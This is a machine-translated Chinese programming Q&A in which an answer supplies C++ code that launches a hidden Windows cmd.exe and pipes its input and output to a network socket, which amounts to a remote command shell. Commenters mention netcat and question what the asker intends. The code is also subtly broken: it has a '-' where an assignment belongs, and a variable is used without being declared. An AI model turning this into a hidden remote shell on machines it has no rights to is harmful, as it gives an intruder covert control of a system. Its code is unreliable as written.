您不能使用套接字重定向CreateProcess()
I/O。改用CreatePipe()
的管道。請參閱MSND爲例:
Creating a Child Process with Redirected Input and Output
您必須編寫需要管道和插座之間傳遞數據來回一些監管碼。試試這樣:
struct sThreadInfo
{
SOCKET Socket;
HANDLE hStdIn;
HANDLE hStdOut;
bool Stop;
};
DWORD WINAPI ClientSocketToShell(LPVOID lpParameter)
{
sThreadInfo *ti = (sThreadInfo*) lpParameter;
BYTE buffer[1024];
DWORD BytesWritten;
fd_set rds;
while (!ti->Stop)
{
FD_ZERO(&rds);
FD_SET(ti->Socket, &rds);
timeval timeout;
timeout.tv_sec = 1;
timeout.tv_usec = 0;
int ret = select(0, &rds, NULL, NULL, &timeout);
if (ret < 0)
break;
if (ret > 0)
{
ret = recv(ti->Socket, buffer, sizeof(buffer), 0);
if (ret <= 0)
break;
if (!WriteFile(ti->hStdIn, buffer, ret, &BytesWritten, NULL))
break;
}
}
return 0;
}
DWORD WINAPI ShellToClientSocket(LPVOID lpParameter)
{
sThreadInfo *ti = (sThreadInfo*) lpParameter;
BYTE buffer[1024];
DWORD BytesAvailable, BytesRead;
while (!ti->Stop)
{
if (!PeekNamedPipe(ti->hStdOut, NULL, 0, NULL, &BytesAvailable, NULL))
break;
if (BytesAvailable != 0)
{
if (!ReadFile(ti->hStdOut, buffer, min(sizeof(buffer), BytesAvailable), &BytesRead, NULL))
break;
ret = send(ti->Socket, buffer, BytesRead, 0);
if (ret <= 0)
break;
}
else
Sleep(1000);
}
return 0;
}
int Socket_Manip::SHELL()
{
SECURITY_ATTRIBUTES saAttr;
saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
saAttr.bInheritHandle = TRUE;
saAttr.lpSecurityDescriptor = NULL;
HANDLE hStdIn_Rd = NULL;
HANDLE hStdIn_Wr = NULL;
HANDLE hStdOut_Rd = NULL;
HANDLE hStdOut_Wr = NULL;
if (!CreatePipe(&hStdOut_Rd, &hStdOut_Wr, &saAttr, 0))
return 0;
SetHandleInformation(hStdOut_Rd, HANDLE_FLAG_INHERIT, 0);
if (!CreatePipe(&hStdIn_Rd, &hStdIn_Wr, &saAttr, 0))
{
CloseHandle(hStdOut_Rd);
CloseHandle(hStdOut_Wr);
return 0;
}
SetHandleInformation(hStdIn_Wr, HANDLE_FLAG_INHERIT, 0);
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdError = hStdOut_Wr;
si.hStdOutput = hStdOut_Wr;
si.hStdInput = hStdIn_Rd;
si.wShowWindow = SW_HIDE;
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
TCHAR cmd[] = TEXT("cmd");
if (CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
{
CloseHandle(pi.hThread);
sThreadInfo ti;
ZeroMemory(&ti, sizeof(ti));
ti.Socket = ClientSocket;
ti.hStdIn = hStdIn_Wr;
ti.hStdOut = hStdOut_Rd;
ti.Stop - false;
HANDLE Handles[3];
DWORD dwThreadID;
ZeroMemory(Handles, sizeof(Handles));
Handles[0] = pi.hProcess;
Handles[1] = CreateThread(NULL, 0, &ClientSocketToShell, &ti, 0, &dwThreadID);
Handles[2] = CreateThread(NULL, 0, &ShellToClientSocket, &ti, 0, &dwThreadID);
DWORD ret = WaitForMultipleObjects(3, Handles, FALSE, INFINITE);
ti.Stop = true;
if (ret != WAIT_OBJECT_0)
TerminateProcess(pi.hProcess, 0);
WaitForMultipleObjects(2, &Handles[1], TRUE, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(Handles[1]);
CloseHandle(Handles[2]);
}
CloseHandle(hStdIn_Rd);
CloseHandle(hStdIn_Wr);
CloseHandle(hStdOut_Rd);
CloseHandle(hStdOut_Wr);
return 0;
}
停止使用C風格的轉換,它們只是隱藏編譯器可以捕獲的錯誤。此外,你的問題描述幾乎是無用的,沒有錯誤信息,沒有預期的輸出,沒有最小的例子。我也猜想你正試圖一次完成太多事情,但這很難說。 –
你應該解釋爲什麼你說的Linux環境和netcat的一部分(罰款是Linux),以及winsock顯示在Windows上創建'cmd.exe'子過程?你到底想用這些代碼做什麼?順便說一句,如果這是問題,對CreateProcess的調用需要初始化si和pi結構。但請確認你的問題。 –
我只想知道,我該怎麼做才能讓客戶端接收到cmd命令的輸出 – Mrdk